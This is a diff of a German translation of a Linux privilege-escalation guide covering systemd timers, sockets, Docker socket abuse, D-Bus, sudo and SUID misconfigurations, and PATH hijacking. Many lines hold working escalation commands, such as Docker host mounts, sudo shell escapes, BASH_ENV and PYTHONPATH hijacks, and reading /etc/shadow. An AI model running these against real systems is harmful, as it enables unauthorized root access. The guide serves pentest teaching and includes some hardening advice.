ausgeführt (nicht-privilegierte Benutzer können Dienste normalerweise nicht starten/stoppen — prüfe aber, ob du `sudo -l` verwenden kannst). -**Erfahre mehr über Services mit `man systemd.service`.** +**Erfahre mehr über Dienste mit `man systemd.service`.** ## **Timers** -**Timers** sind systemd Unit-Dateien, deren Name auf `**.timer**` endet und die `**.service**`-Dateien oder Ereignisse steuern. **Timers** können als Alternative zu cron verwendet werden, da sie eingebaute Unterstützung für kalenderbasierte Zeitereignisse und monotone Zeitereignisse bieten und asynchron ausgeführt werden können. +**Timers** sind systemd-Unit-Dateien, deren Name auf `**.timer**` endet und die `**.service**`-Dateien oder -Ereignisse steuern. **Timers** können als Alternative zu cron verwendet werden, da sie eingebaute Unterstützung für Kalenderzeit-Ereignisse und monotone Zeit-Ereignisse bieten und asynchron ausgeführt werden können. Du kannst alle Timer mit: ```bash @@ -439,54 +469,54 @@ systemctl list-timers --all ``` ### Schreibbare Timer -Wenn du einen Timer ändern kannst, kannst du ihn dazu bringen, einige vorhandene Einträge in systemd.unit (wie eine `.service` oder eine `.target`) auszuführen. +Wenn du einen Timer ändern kannst, kannst du ihn dazu bringen, einige vorhandene Einträge von systemd.unit auszuführen (wie eine `.service` oder eine `.target`). ```bash Unit=backdoor.service ``` -In der Dokumentation kannst du lesen, was die Unit ist: +In der Dokumentation lesen Sie, was die Unit ist: -> Die Unit, die aktiviert wird, wenn dieser Timer abläuft. Das Argument ist ein Unit-Name, dessen Suffix nicht ".timer" ist. Falls nicht angegeben, ist dieser Wert standardmäßig ein service, der denselben Namen wie die timer unit hat, abgesehen vom Suffix. (Siehe oben.) Es wird empfohlen, dass der Unit-Name, der aktiviert wird, und der Unit-Name der timer unit identisch benannt sind, abgesehen vom Suffix. +> Die Unit, die aktiviert wird, wenn dieser timer abläuft. Das Argument ist ein Unit-Name, dessen Suffix nicht ".timer" ist. Wenn nicht angegeben, verwendet dieser Wert standardmäßig einen service mit demselben Namen wie die timer-Unit, abgesehen vom Suffix. (Siehe oben.) Es wird empfohlen, dass der aktivierte Unit-Name und der Unit-Name der timer-Unit identisch benannt sind, abgesehen vom Suffix. -Daher müsstest du, um diese Berechtigung auszunutzen: +Daher, um diese Berechtigung auszunutzen, müssten Sie: -- Eine systemd unit (z. B. eine `.service`) finden, die ein **beschreibbares Binary ausführt** -- Eine systemd unit finden, die einen **relativen Pfad ausführt** und auf den du **schreibbare Berechtigungen** für den **systemd PATH** hast (um diese ausführbare Datei zu imitieren) +- Finden Sie eine systemd-Unit (wie eine `.service`), die ein **schreibbares Binary** ausführt +- Finden Sie eine systemd-Unit, die einen **relativen Pfad** ausführt und bei der Sie **Schreibrechte** auf den **systemd PATH** haben (um sich als diese ausführbare Datei auszugeben) -**Mehr über Timer erfährst du mit `man systemd.timer`.** +**Learn more about timers with `man systemd.timer`.** ### **Timer aktivieren** -Um einen Timer zu aktivieren, benötigst du root-Rechte und musst ausführen: +Um einen Timer zu aktivieren benötigen Sie root-Rechte und müssen ausführen: ```bash sudo systemctl enable backu2.timer Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer → /lib/systemd/system/backu2.timer. ``` -Beachte, dass der **timer** durch das Erstellen eines Symlinks zu ihm unter `/etc/systemd/system/.wants/.timer` **aktiviert** wird. +Note the **timer** is **activated** by creating a symlink to it on `/etc/systemd/system/.wants/.timer` ## Sockets -Unix Domain Sockets (UDS) ermöglichen **Prozesskommunikation** auf derselben oder auf verschiedenen Maschinen innerhalb von client-server-Modellen. Sie nutzen standardmäßige Unix-Deskriptordateien für die Kommunikation zwischen Rechnern und werden über `.socket`-Dateien eingerichtet. +Unix Domain Sockets (UDS) ermöglichen **Prozesskommunikation** auf demselben oder auf unterschiedlichen Rechnern innerhalb von Client-Server-Modellen. Sie nutzen standardmäßige Unix-Deskriptordateien für die Kommunikation zwischen Computern und werden über `.socket`-Dateien eingerichtet. -Sockets können mit `.socket`-Dateien konfiguriert werden. +Sockets können über `.socket`-Dateien konfiguriert werden. **Mehr über sockets mit `man systemd.socket` erfahren.** In dieser Datei können mehrere interessante Parameter konfiguriert werden: -- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: Diese Optionen unterscheiden sich, aber zusammenfassend werden sie verwendet, um **anzugeben, wo der Socket lauschen wird** (der Pfad der AF_UNIX-Socket-Datei, die IPv4/6-Adresse und/oder Portnummer, etc.). -- `Accept`: Nimmt ein boolean-Argument. Wenn **true**, wird für jede eingehende Verbindung eine **service instance** gestartet und nur der Verbindungs-Socket an diese übergeben. Wenn **false**, werden alle listening sockets selbst **an die gestartete service unit übergeben**, und es wird nur eine service unit für alle Verbindungen gestartet. Dieser Wert wird für Datagram-Sockets und FIFOs ignoriert, wo eine einzelne service unit bedingungslos allen eingehenden Traffic behandelt. **Standard: false**. Aus Performance-Gründen wird empfohlen, neue Daemons so zu schreiben, dass sie für `Accept=no` geeignet sind. -- `ExecStartPre`, `ExecStartPost`: Nimmt eine oder mehrere Kommandozeilen, die jeweils **ausgeführt werden, bevor** bzw. **nachdem** die listening **sockets**/FIFOs **erstellt** und gebunden werden. Das erste Token der Kommandozeile muss ein absoluter Dateiname sein, gefolgt von Argumenten für den Prozess. -- `ExecStopPre`, `ExecStopPost`: Zusätzliche **Befehle**, die **ausgeführt werden, bevor** bzw. **nachdem** die listening **sockets**/FIFOs **geschlossen** und entfernt werden. -- `Service`: Gibt den Namen der **service** unit an, die bei **eingehendem Traffic** aktiviert werden soll. Diese Einstellung ist nur für Sockets mit Accept=no erlaubt. Standardmäßig ist es die Service-Einheit mit demselben Namen wie der Socket (mit entsprechend ersetztem Suffix). In den meisten Fällen sollte es nicht notwendig sein, diese Option zu verwenden. +- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: Diese Optionen unterscheiden sich, aber zusammengefasst geben sie an, **auf welchen Endpunkt gelauscht wird** (der Pfad der AF_UNIX-Socket-Datei, die IPv4/6-Adresse und/oder die Portnummer, usw.). +- `Accept`: Nimmt ein boolean-Argument. Wenn `true`, wird für jede eingehende Verbindung eine **Service-Instanz erzeugt** und nur die Verbindungs-Socket an diese übergeben. Wenn `false`, werden alle abhörenden Sockets selbst an die gestartete Service-Unit übergeben, und es wird nur eine Service-Unit für alle Verbindungen erzeugt. Dieser Wert wird für Datagram-Sockets und FIFOs ignoriert, wo eine einzelne Service-Unit bedingungslos sämtlichen eingehenden Traffic verarbeitet. **Standard ist false**. Aus Performance-Gründen wird empfohlen, neue Daemons so zu schreiben, dass sie mit `Accept=no` kompatibel sind. +- `ExecStartPre`, `ExecStartPost`: Nimmt eine oder mehrere Befehlszeilen, die **vor** bzw. **nach** dem Erstellen und Binden der abhörenden **sockets**/FIFOs ausgeführt werden. Das erste Token der Befehlszeile muss ein absoluter Dateiname sein, gefolgt von Argumenten für den Prozess. +- `ExecStopPre`, `ExecStopPost`: Zusätzliche **Befehle**, die **vor** bzw. **nach** dem Schließen und Entfernen der abhörenden **sockets**/FIFOs ausgeführt werden. +- `Service`: Gibt den Namen der **Service**-Unit an, die bei **eingehendem Traffic** **aktiviert** werden soll. Diese Einstellung ist nur für Sockets mit `Accept=no` erlaubt. Standardmäßig ist es die Service, die denselben Namen wie der Socket trägt (mit entsprechend ersetztem Suffix). In den meisten Fällen sollte es nicht notwendig sein, diese Option zu verwenden. ### Writable .socket files -Wenn du eine **beschreibbare** `.socket`-Datei findest, kannst du am Anfang der `[Socket]`-Sektion etwas wie `ExecStartPre=/home/kali/sys/backdoor` hinzufügen und die Backdoor wird ausgeführt, bevor der Socket erstellt wird. Daher wirst du **wahrscheinlich warten müssen, bis die Maschine neu gestartet wird**.\ +Wenn du eine **beschreibbare** `.socket`-Datei findest, kannst du am Anfang des `[Socket]`-Abschnitts etwas wie hinzufügen: `ExecStartPre=/home/kali/sys/backdoor` und die backdoor wird ausgeführt, bevor der Socket erstellt wird. Daher wirst du **wahrscheinlich warten müssen, bis die Maschine neu gestartet wurde.**\ _Note that the system must be using that socket file configuration or the backdoor won't be executed_ ### Writable sockets -Wenn du einen **beschreibbaren Socket** identifizierst (_hier sprechen wir jetzt über Unix Sockets und nicht über die Konfig-`.socket`-Dateien_), dann **kannst du mit diesem Socket kommunizieren** und vielleicht eine Schwachstelle ausnutzen. +Wenn du einen **beschreibbaren Socket** (_hier sprechen wir von Unix Sockets und nicht von den Konfigurations-`.socket`-Dateien_) identifizierst, dann **kannst du mit diesem Socket kommunizieren** und möglicherweise eine Schwachstelle ausnutzen. -### Unix Sockets auflisten +### Enumerate Unix Sockets ```bash netstat -a -p --unix ``` @@ -508,48 +538,48 @@ socket-command-injection.md ### HTTP sockets -Beachte, dass es möglicherweise einige **sockets listening for HTTP** requests gibt (_Ich spreche nicht von .socket files, sondern von Dateien, die als unix sockets fungieren_). Du kannst das mit folgendem prüfen: +Beachte, dass es möglicherweise einige **sockets listening for HTTP** requests (_Ich spreche nicht von .socket files, sondern von Dateien, die als unix sockets fungieren_). Du kannst das mit folgendem prüfen: ```bash curl --max-time 2 --unix-socket /pat/to/socket/files http:/index ``` -Wenn der Socket **mit einer HTTP-Anfrage antwortet**, kannst du **mit ihm kommunizieren** und vielleicht **exploit some vulnerability**. +Wenn der Socket **auf eine HTTP-Anfrage antwortet**, dann kannst du **mit ihm kommunizieren** und vielleicht **eine Schwachstelle ausnutzen**. -### Schreibbarer Docker Socket +### Beschreibbarer Docker-Socket -Der Docker-Socket, häufig zu finden unter `/var/run/docker.sock`, ist eine kritische Datei, die gesichert werden sollte. Standardmäßig ist er vom Benutzer `root` und Mitgliedern der Gruppe `docker` schreibbar. Schreibzugriff auf diesen Socket kann zu Privilege Escalation führen. Hier ist eine Aufschlüsselung, wie das gemacht werden kann und alternative Methoden, falls die Docker CLI nicht verfügbar ist. +Der Docker-Socket, häufig zu finden unter `/var/run/docker.sock`, ist eine kritische Datei, die gesichert werden sollte. Standardmäßig ist er für den Benutzer `root` und Mitglieder der Gruppe `docker` beschreibbar. Schreibzugriff auf diesen Socket kann zu privilege escalation führen. Hier ist eine Übersicht, wie das gemacht werden kann und alternative Methoden, falls die Docker CLI nicht verfügbar ist. -#### **Privilege Escalation with Docker CLI** +#### **Privilege Escalation mit Docker CLI** -Wenn du Schreibzugriff auf den Docker-Socket hast, kannst du Privilege Escalation durchführen, indem du die folgenden Befehle ausführst: +Wenn du Schreibzugriff auf den Docker-Socket hast, kannst du privilege escalation mit den folgenden Befehlen erreichen: ```bash docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh ``` -Mit diesen Befehlen können Sie einen Container starten, der Root-Zugriff auf das Dateisystem des Hosts hat. +Diese Befehle erlauben es, einen Container mit root-Zugriff auf das Dateisystem des Hosts auszuführen. -#### **Docker API direkt verwenden** +#### **Direkte Verwendung der Docker API** -Falls die Docker-CLI nicht verfügbar ist, kann der Docker-Socket weiterhin über die Docker API und `curl`-Befehle manipuliert werden. +Falls die Docker CLI nicht verfügbar ist, kann der Docker-Socket weiterhin über die Docker API und `curl`-Befehle manipuliert werden. -1. **List Docker Images:** Ruft die Liste der verfügbaren Images ab. +1. **List Docker Images:** Liste der verfügbaren Images abrufen. ```bash curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json ``` -2. **Create a Container:** Sende eine Anfrage, um einen Container zu erstellen, der das Root-Verzeichnis des Hosts einhängt. +2. **Create a Container:** Sende eine Anfrage, um einen Container zu erstellen, der das Root-Verzeichnis des Hosts einbindet. ```bash curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d '{"Image":"","Cmd":["/bin/sh"],"DetachKeys":"Ctrl-p,Ctrl-q","OpenStdin":true,"Mounts":[{"Type":"bind","Source":"/","Target":"/host_root"}]}' http://localhost/containers/create ``` -Start the newly created container: +Starte den neu erstellten Container: ```bash curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers//start ``` -3. **Attach to the Container:** Verwenden Sie `socat`, um eine Verbindung zum Container herzustellen und Befehle darin auszuführen. +3. **Attach to the Container:** Verwende `socat`, um eine Verbindung zum Container herzustellen und darin Befehle auszuführen. ```bash socat - UNIX-CONNECT:/var/run/docker.sock @@ -559,13 +589,13 @@ Connection: Upgrade Upgrade: tcp ``` -Nach dem Einrichten der `socat`-Verbindung können Sie Befehle direkt im Container ausführen und erhalten Root-Zugriff auf das Dateisystem des Hosts. +Nach dem Einrichten der `socat`-Verbindung kannst du Befehle direkt im Container mit root-Zugriff auf das Dateisystem des Hosts ausführen. -### Others +### Andere -Beachten Sie, dass wenn Sie Schreibberechtigungen für den docker socket haben, weil Sie **in der Gruppe `docker`** sind, Sie [**more ways to escalate privileges**](interesting-groups-linux-pe/index.html#docker-group). Wenn die [**docker API is listening in a port** you can also be able to compromise it](../../network-services-pentesting/2375-pentesting-docker.md#compromising). +Beachte, dass, wenn du Schreibrechte auf den docker socket hast, weil du **Mitglied der Gruppe `docker`** bist, du [**more ways to escalate privileges**](interesting-groups-linux-pe/index.html#docker-group). Wenn die [**docker API is listening in a port** you can also be able to compromise it](../../network-services-pentesting/2375-pentesting-docker.md#compromising). -Siehe **more ways to break out from docker or abuse it to escalate privileges** in: +Weitere Möglichkeiten, aus docker auszubrechen oder es zu missbrauchen, um Privilegien zu eskalieren, findest du in: {{#ref}} @@ -574,7 +604,7 @@ docker-security/ ## Containerd (ctr) privilege escalation -Wenn Sie feststellen, dass Sie den **`ctr`**-Befehl verwenden können, lesen Sie die folgende Seite, da **you may be able to abuse it to escalate privileges**: +Wenn du feststellen solltest, dass du den **`ctr`**-Befehl verwenden kannst, lies die folgende Seite, da **you may be able to abuse it to escalate privileges**: {{#ref}} @@ -583,7 +613,7 @@ containerd-ctr-privilege-escalation.md ## **RunC** privilege escalation -Wenn Sie den **`runc`**-Befehl verwenden können, lesen Sie die folgende Seite, da **you may be able to abuse it to escalate privileges**: +Wenn du feststellen solltest, dass du den **`runc`**-Befehl verwenden kannst, lies die folgende Seite, da **you may be able to abuse it to escalate privileges**: {{#ref}} @@ -592,15 +622,15 @@ runc-privilege-escalation.md ## **D-Bus** -D-Bus ist ein ausgeklügeltes **inter-Process Communication (IPC) system**, das Anwendungen ermöglicht, effizient zu interagieren und Daten auszutauschen. Es wurde für moderne Linux-Systeme entwickelt und bietet ein robustes Framework für verschiedene Formen der Anwendungskommunikation. +D-Bus ist ein ausgefeiltes Inter-Process Communication (IPC)-System, das Anwendungen ermöglicht, effizient zu interagieren und Daten auszutauschen. Es wurde für moderne Linux-Systeme entwickelt und bietet ein robustes Framework für verschiedene Formen der Anwendungs-Kommunikation. -Das System ist vielseitig und unterstützt grundlegendes IPC, das den Datenaustausch zwischen Prozessen verbessert, ähnlich wie bei **enhanced UNIX domain sockets**. Außerdem unterstützt es das Senden von Ereignissen oder Signalen und fördert so die nahtlose Integration von Systemkomponenten. Beispielsweise kann ein Signal eines Bluetooth-Daemons über einen eingehenden Anruf einen Musikplayer stummschalten und so das Nutzererlebnis verbessern. Darüber hinaus unterstützt D-Bus ein Remote-Object-System, das Serviceanfragen und Methodenaufrufe zwischen Anwendungen vereinfacht und Abläufe strafft, die zuvor komplex waren. +Das System ist vielseitig und unterstützt grundlegende IPC-Funktionen, die den Datenaustausch zwischen Prozessen verbessern, vergleichbar mit erweiterten UNIX domain sockets. Zusätzlich erleichtert es das Senden von Events oder Signalen, wodurch eine nahtlose Integration zwischen Systemkomponenten gefördert wird. Beispielsweise kann ein Signal eines Bluetooth-Daemons über einen eingehenden Anruf einen Musikplayer stummschalten, um das Nutzererlebnis zu verbessern. Außerdem unterstützt D-Bus ein Remote-Object-System, das Service-Anfragen und Method-Aufrufe zwischen Anwendungen vereinfacht und somit Prozesse erleichtert, die traditionell komplex waren. -D-Bus arbeitet nach einem **allow/deny model** und verwaltet Nachrichtenberechtigungen (Methodenaufrufe, Signalübermittlungen usw.) basierend auf der kumulativen Wirkung passender Policy-Regeln. Diese Policies legen fest, welche Interaktionen mit dem Bus erlaubt sind und können durch Ausnutzung dieser Berechtigungen potenziell zu privilege escalation führen. +D-Bus arbeitet nach einem allow/deny model und verwaltet Nachrichtenberechtigungen (Method-Aufrufe, Signal-Emissionen usw.) basierend auf der kumulativen Wirkung passender Policy-Regeln. Diese Policies spezifizieren, wie mit dem Bus interagiert werden darf und können potenziell für Privilegieneskalationen missbraucht werden, wenn Berechtigungen ausgenutzt werden. -Ein Beispiel für eine solche Policy in `/etc/dbus-1/system.d/wpa_supplicant.conf` zeigt Berechtigungen, die dem root-Benutzer erlauben, `fi.w1.wpa_supplicant1` zu besitzen, an es zu senden und Nachrichten davon zu empfangen. +Ein Beispiel für eine solche Policy in /etc/dbus-1/system.d/wpa_supplicant.conf ist angegeben und beschreibt Berechtigungen, die dem root-Benutzer erlauben, Eigentümer von fi.w1.wpa_supplicant1 zu sein sowie Nachrichten an dieses Objekt zu senden und von ihm zu empfangen. -Policies ohne einen spezifizierten Benutzer oder eine Gruppe gelten universell, während "default"-Kontext-Policies für alle gelten, die nicht von anderen spezifischen Policies abgedeckt sind. +Policies ohne spezifizierten Benutzer oder Gruppe gelten universell, während Policies mit dem Kontext "default" auf alle angewendet werden, die nicht von anderen spezifischeren Policies abgedeckt sind. ```xml @@ -609,7 +639,8 @@ Policies ohne einen spezifizierten Benutzer oder eine Gruppe gelten universell, ``` -**Erfahre hier, wie man eine D-Bus-Kommunikation enumerate und exploit:** +**Lerne hier, wie man eine D-Bus-Kommunikation enumerate und exploit:** + {{#ref}} d-bus-enumeration-and-command-injection-privilege-escalation.md @@ -619,7 +650,7 @@ d-bus-enumeration-and-command-injection-privilege-escalation.md Es ist immer interessant, das Netzwerk zu enumerate und die Position der Maschine herauszufinden. -### Allgemeine enumeration +### Generic enumeration ```bash #Hostname, hosts and DNS cat /etc/hostname /etc/hosts /etc/resolv.conf @@ -642,7 +673,7 @@ cat /etc/networks #Files used by network services lsof -i ``` -### Offene Ports +### Open ports Überprüfe immer Netzwerkdienste, die auf der Maschine laufen und mit denen du vor dem Zugriff nicht interagieren konntest: ```bash @@ -651,15 +682,15 @@ lsof -i ``` ### Sniffing -Prüfe, ob du traffic sniffen kannst. Wenn ja, könntest du einige credentials abgreifen. +Prüfe, ob du sniff traffic durchführen kannst. Falls ja, könntest du einige credentials abgreifen. ``` timeout 1 tcpdump ``` ## Benutzer -### Generic Enumeration +### Generische Enumeration -Überprüfe **wer** du bist, welche **Privilegien** du hast, welche **Benutzer** in den Systemen sind, welche sich per **login** anmelden können und welche **root privileges** haben: +Überprüfe, wer du bist, welche **privileges** du hast, welche **users** auf dem System vorhanden sind, welche sich **login** können und welche **root privileges** besitzen: ```bash #Info about me id || (whoami && groups) 2>/dev/null @@ -681,14 +712,14 @@ for i in $(cut -d":" -f1 /etc/passwd 2>/dev/null);do id $i;done 2>/dev/null | so #Current user PGP keys gpg --list-keys 2>/dev/null ``` -### Big UID +### Große UID -Some Linux versions were affected by a bug that allows users with **UID > INT_MAX** to escalate privileges. More info: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) and [here](https://twitter.com/paragonsec/status/1071152249529884674).\ -**Ausnutzen** mit: **`systemd-run -t /bin/bash`** +Einige Linux-Versionen waren von einem Bug betroffen, der Benutzern mit **UID > INT_MAX** erlaubt, ihre Privilegien zu erhöhen. Mehr Infos: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) and [here](https://twitter.com/paragonsec/status/1071152249529884674).\ +**Exploit** ausführen mit: **`systemd-run -t /bin/bash`** ### Gruppen -Prüfe, ob du **Mitglied einer Gruppe** bist, die dir root-Privilegien gewähren könnte: +Prüfe, ob du **Mitglied einer Gruppe** bist, die dir root-Rechte gewähren könnte: {{#ref}} @@ -697,7 +728,7 @@ interesting-groups-linux-pe/ ### Zwischenablage -Überprüfe, ob sich etwas Interessantes in der Zwischenablage befindet (falls möglich) +Prüfe, ob sich etwas Interessantes in der Zwischenablage befindet (falls möglich) ```bash if [ `which xclip 2>/dev/null` ]; then echo "Clipboard: "`xclip -o -selection clipboard 2>/dev/null` @@ -714,27 +745,27 @@ grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/logi ``` ### Bekannte Passwörter -Wenn du **ein Passwort** der Umgebung kennst, versuche, dich mit dem Passwort **bei jedem Benutzer anzumelden**. +Wenn Sie **ein Passwort der Umgebung kennen**, **versuchen Sie, sich mit diesem Passwort als jeden Benutzer einzuloggen**. ### Su Brute -Wenn es dir nichts ausmacht, viel Lärm zu verursachen, und die Binaries `su` und `timeout` auf dem Rechner vorhanden sind, kannst du versuchen, Benutzer mit [su-bruteforce](https://github.com/carlospolop/su-bruteforce) zu brute-forcen.\ -[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) versucht mit dem Parameter `-a` ebenfalls, Benutzer zu brute-forcen. +Wenn es Ihnen nichts ausmacht, viel Lärm zu machen, und die Binaries `su` und `timeout` auf dem Computer vorhanden sind, können Sie versuchen, Benutzer mit [su-bruteforce](https://github.com/carlospolop/su-bruteforce).\ +[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) mit dem Parameter `-a` versucht ebenfalls, Benutzer zu brute-forcen. -## Beschreibbarer PATH-Missbrauch +## Missbrauch beschreibbarer $PATH-Verzeichnisse ### $PATH -Wenn du feststellst, dass du **in einen Ordner des $PATH schreiben kannst**, könntest du möglicherweise Rechte eskalieren, indem du **eine Backdoor im beschreibbaren Ordner erstellst** mit dem Namen eines Befehls, der von einem anderen Benutzer (idealerweise root) ausgeführt wird und der **nicht aus einem Ordner geladen wird, der vor deinem beschreibbaren Ordner im $PATH liegt**. +Wenn Sie feststellen, dass Sie **in einen Ordner des $PATH schreiben können**, könnten Sie möglicherweise Rechte eskalieren, indem Sie **eine Backdoor in dem beschreibbaren Ordner erstellen**, mit dem Namen eines Befehls, der von einem anderen Benutzer (idealerweise root) ausgeführt wird, und der **nicht aus einem Ordner geladen wird, der in $PATH vor Ihrem beschreibbaren Ordner liegt**. -### SUDO and SUID +### SUDO und SUID -Du könntest berechtigt sein, einige Befehle mit sudo auszuführen oder sie könnten das suid-Bit gesetzt haben. Prüfe es mit: +Ihnen könnte erlaubt sein, einen Befehl mit sudo auszuführen, oder sie könnten das suid-Bit gesetzt haben. Prüfen Sie es mit: ```bash sudo -l #Check commands you can execute with sudo find / -perm -4000 2>/dev/null #Find all SUID binaries ``` -Einige **unerwartete Befehle erlauben es, Dateien zu lesen und/oder zu schreiben oder sogar einen Befehl auszuführen.** Zum Beispiel: +Einige **unerwartete commands erlauben es Ihnen, Dateien zu lesen und/oder zu schreiben oder sogar einen command auszuführen.** Zum Beispiel: ```bash sudo awk 'BEGIN {system("/bin/sh")}' sudo find /etc -exec sh -i \; @@ -745,7 +776,7 @@ less>! ``` ### NOPASSWD -Die sudo-Konfiguration könnte einem Benutzer erlauben, einen Befehl mit den Rechten eines anderen Benutzers auszuführen, ohne das Passwort zu kennen. +Die Sudo-Konfiguration kann einem Benutzer erlauben, einen Befehl mit den Rechten eines anderen Benutzers auszuführen, ohne das Passwort zu kennen. ``` $ sudo -l User demo may run the following commands on crashlab: @@ -757,25 +788,25 @@ sudo vim -c '!sh' ``` ### SETENV -Diese Direktive ermöglicht dem Benutzer, beim Ausführen von etwas **set an environment variable**: +Diese Direktive erlaubt dem Benutzer, während der Ausführung von etwas eine **Umgebungsvariable zu setzen**: ```bash $ sudo -l User waldo may run the following commands on admirer: (ALL) SETENV: /opt/scripts/admin_tasks.sh ``` -Dieses Beispiel, **based on HTB machine Admirer**, war **vulnerable** gegenüber **PYTHONPATH hijacking**, um eine beliebige python library zu laden, während das Skript als root ausgeführt wurde: +Dieses Beispiel, **based on HTB machine Admirer**, war **anfällig** für **PYTHONPATH hijacking**, wodurch beim Ausführen des Skripts als root eine beliebige python library geladen werden konnte: ```bash sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh ``` -### BASH_ENV durch sudo env_keep erhalten → root shell +### BASH_ENV erhalten über sudo env_keep → root shell -Wenn sudoers `BASH_ENV` bewahrt (z. B. `Defaults env_keep+="ENV BASH_ENV"`), kannst du das Startverhalten von Bash bei nicht-interaktiven Shells ausnutzen, um beliebigen Code als root auszuführen, wenn ein erlaubter Befehl aufgerufen wird. +Wenn sudoers `BASH_ENV` beibehält (z. B. `Defaults env_keep+="ENV BASH_ENV"`), kannst du das nicht-interaktive Startverhalten von Bash ausnutzen, um beliebigen Code als root auszuführen, wenn ein erlaubter Befehl aufgerufen wird. -- Why it works: Für nicht-interaktive Shells wertet Bash `$BASH_ENV` aus und liest diese Datei ein, bevor das Zielskript ausgeführt wird. Viele sudo-Regeln erlauben das Ausführen eines Skripts oder eines Shell-Wrappers. Wenn `BASH_ENV` von sudo bewahrt wird, wird deine Datei mit root-Rechten eingelesen. +- Warum das funktioniert: Für nicht-interaktive Shells wertet Bash `$BASH_ENV` aus und liest/führt diese Datei ein, bevor das Zielskript ausgeführt wird. Viele sudo-Regeln erlauben das Ausführen eines Skripts oder eines Shell-Wrappers. Wenn `BASH_ENV` von sudo beibehalten wird, wird deine Datei mit root-Privilegien eingelesen. -- Requirements: -- Eine sudo-Regel, die du ausführen kannst (jeder Zielaufruf, der `/bin/bash` nicht-interaktiv startet, oder jedes bash-Skript). -- `BASH_ENV` in `env_keep` vorhanden (prüfe mit `sudo -l`). +- Anforderungen: +- Eine sudo-Regel, die du ausführen kannst (jedes Ziel, das `/bin/bash` nicht-interaktiv aufruft, oder jedes bash-Skript). +- `BASH_ENV` in `env_keep` vorhanden (mit `sudo -l` prüfen). - PoC: ```bash @@ -788,13 +819,13 @@ BASH_ENV=/dev/shm/shell.sh sudo /usr/bin/systeminfo # or any permitted script/ # You should now have a root shell ``` - Härtung: -- Entferne `BASH_ENV` (und `ENV`) aus `env_keep`, bevorzuge `env_reset`. -- Vermeide Shell-Wrapper für sudo-allowed Befehle; verwende möglichst minimale Binaries. -- Erwäge sudo I/O-Logging und Alerting, wenn beibehaltene env vars verwendet werden. +- Entferne `BASH_ENV` (und `ENV`) aus `env_keep`, verwende vorzugsweise `env_reset`. +- Vermeide Shell-Wrapper für sudo-erlaubte Befehle; verwende minimale Binaries. +- Erwäge sudo I/O-Logging und Alarmierung, wenn beibehaltene env-Variablen verwendet werden. -### Pfade zur Umgehung der Sudo-Ausführung +### Sudo-Ausführungs-Umgehungspfade -**Jump** um andere Dateien zu lesen oder **symlinks** zu verwenden. Zum Beispiel in der sudoers-Datei: _hacker10 ALL= (root) /bin/less /var/log/\*_ +**Jump** um andere Dateien zu lesen oder **symlinks** zu verwenden. Zum Beispiel in sudoers file: _hacker10 ALL= (root) /bin/less /var/log/\*_ ```bash sudo less /var/logs/anything less>:e /etc/shadow #Jump to read other files using privileged less @@ -809,41 +840,41 @@ Wenn ein **wildcard** verwendet wird (\*), ist es noch einfacher: sudo less /var/log/../../etc/shadow #Read shadow sudo less /var/log/something /etc/shadow #Red 2 files ``` -**Gegenmaßnahmen**: [https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/] +**Gegenmaßnahmen**: [https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/](https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/) -### Sudo command/SUID binary ohne Pfadangabe des Befehls +### Sudo-Befehl/SUID-Binary ohne Pfadangabe -Wenn die **sudo permission** einem einzelnen Befehl **ohne Angabe des Pfads** gegeben wird: _hacker10 ALL= (root) less_ kann man sie ausnutzen, indem man die PATH-Variable ändert. +Wenn die **sudo-Berechtigung** für einen einzelnen Befehl **ohne Angabe des Pfads** vergeben ist: _hacker10 ALL= (root) less_ kannst du dies ausnutzen, indem du die PATH-Variable änderst. ```bash export PATH=/tmp:$PATH #Put your backdoor in /tmp and name it "less" sudo less ``` -Diese Technik kann auch verwendet werden, wenn ein **suid**-Binary **einen anderen Befehl ausführt, ohne den Pfad anzugeben (prüfe immer mit** _**strings**_ **den Inhalt einer seltsamen SUID-Binärdatei)**). +Diese Technik kann auch verwendet werden, wenn ein **suid** binary **einen anderen Befehl ausführt, ohne den Pfad anzugeben (prüfe immer mit** _**strings**_ **den Inhalt eines ungewöhnlichen SUID binary)**). [Payload examples to execute.](payloads-to-execute.md) -### SUID-Binärdatei mit Befehls-Pfad +### SUID binary mit Pfad zum Befehl -Wenn die **suid**-Binärdatei **einen anderen Befehl ausführt, bei dem der Pfad angegeben ist**, kannst du versuchen, eine Funktion zu erstellen und zu exportieren, die den Namen des Befehls trägt, den die suid-Datei aufruft. +Wenn das **suid** binary **einen anderen Befehl ausführt, indem es den Pfad angibt**, dann kannst du versuchen, eine Funktion zu **export a function** zu erstellen, die den Namen des Befehls trägt, den die suid-Datei aufruft. -Zum Beispiel, wenn eine suid-Binärdatei _**/usr/sbin/service apache2 start**_ aufruft, musst du versuchen, die Funktion zu erstellen und zu exportieren: +Zum Beispiel, wenn ein suid binary _**/usr/sbin/service apache2 start**_ aufruft, musst du versuchen, die Funktion zu erstellen und sie zu exportieren: ```bash function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; } export -f /usr/sbin/service ``` -Wenn du dann das suid binary aufrufst, wird diese 